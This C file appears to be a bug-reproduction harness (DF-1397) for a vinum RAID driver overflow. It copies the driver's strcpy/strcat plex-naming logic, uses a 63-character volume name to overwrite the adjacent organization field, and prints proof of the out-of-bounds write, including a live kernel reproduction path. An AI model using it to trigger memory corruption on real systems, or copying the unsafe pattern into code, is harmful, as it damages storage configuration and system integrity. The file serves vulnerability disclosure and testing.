DF-1397 / vinum_overflow.c
/* * DF-1397 harness: vinum config_plex auto-naming strcpy/strcat overflow. * * Replicates the EXACT vulnerable logic from: * sys/dev/raid/vinum/vinumconfig.c:1459-1464 (plex) and 1274-1278 (sd) * strcpy(plex->name, VOL[plex->volno].name); // 63-char name fills 64B buf exactly * ksprintf(plexsuffix, ".p%d", pindex); * strcat(plex->name, plexsuffix); // appends past end -> OOB * * Struct layout copied verbatim from sys/dev/raid/vinum/vinumvar.h: * MAXPLEXNAME 64 (line 103), MAXVOLNAME 64 (line 104) * struct plex { (line 548) * char name[MAXPLEXNAME]; // 64 bytes, offset 0 * enum plexorg organization; // IMMEDIATELY AFTER name -> overflow target * ... * }; * * Volume names are bounded by ksnprintf(.., sizeof(vol->name), "%s", name) * (vinumconfig.c:925) to MAXVOLNAME-1 = 63 chars + NUL. A 63-char volume name * fills plex->name[0..62] with chars and plex->name[63]=NUL. strcat then * appends ".pN\0" at offset 63 -> offsets 64,65,66 are into `organization`. * * Also reproduced LIVE on the guest via run.sh (kldload vinum + `vinum create` * with a 63-char volume name + unnamed plex): the live proof is that the * auto-generated plex name prints as 66 characters (the terminating NUL now * lives inside the organization field, so the char* walk runs past the 64-byte * name buffer). * * Build: cc -O2 -o vinum_overflow vinum_overflow.c * Run: ./vinum_overflow */ #include <stdio.h> #include <string.h> #include <stdint.h> #define MAXPLEXNAME 64 enum plexorg { plex_disorg=0, plex_concat, plex_striped, plex_raid4, plex_raid5 }; struct plex { char name[MAXPLEXNAME]; /* 64 bytes */ enum plexorg organization; /* 4 bytes immediately after name -> target */ enum plexorg state; /* extra canary */ }; int main(void) { struct plex p; char volname[MAXPLEXNAME]; /* VOL[volno].name: 63 chars + NUL */ char plexsuffix[8]; int pindex = 0; memset(&p, 0, sizeof(p)); p.organization = plex_concat; /* the real org set earlier in config_plex */ /* A 63-char volume name fills volname exactly (ksnprintf bound, line 925). */ memset(volname, 'A', 63); volname[63] = '\0'; printf("DF-1397 config_plex auto-naming overflow demonstration\n"); printf("plex->name capacity: %d bytes (MAXPLEXNAME)\n", MAXPLEXNAME); printf("volume name length: %zu (fills name[0..62], NUL at [63])\n", strlen(volname)); /* ---- EXACT vulnerable logic (vinumconfig.c:1459-1464) ---- */ strcpy(p.name, volname); /* line 1459-1460: fills 64B exactly */ sprintf(plexsuffix, ".p%d", pindex); /* line 1463: ".p0" */ strcat(p.name, plexsuffix); /* line 1464: OOB write */ /* How far does the printed name extend? (simulates vinum printing name as char*) */ int namelen = 0; unsigned char *raw = (unsigned char*)&p; while (namelen < (int)sizeof(p.name) + 8) { if (raw[namelen] == '\0') break; namelen++; } printf("effective printed name length (walked past 64-byte buffer): %d\n", namelen); printf("organization field bytes (offset 64..67): "); for (int i = 64; i < 68; i++) printf("%02x(%c) ", raw[i], (raw[i]>=32&&raw[i]<127)?raw[i]:'.'); printf("\n"); printf("organization enum value now: %d (was plex_concat=%d)\n", (int)p.organization, (int)plex_concat); if (namelen > MAXPLEXNAME || p.organization != plex_concat) { printf("\nOVERFLOW CONFIRMED: strcat(\".p%%d\") wrote past the 64-byte name into the " "organization enum field.\n"); printf("Live proof on guest: kldload vinum + `vinum create` with a 63-char volume " "name yields a plex printed as 66 chars (see run.log).\n"); return 0; } fprintf(stderr, "ERROR: overflow not observed\n"); return 1; } |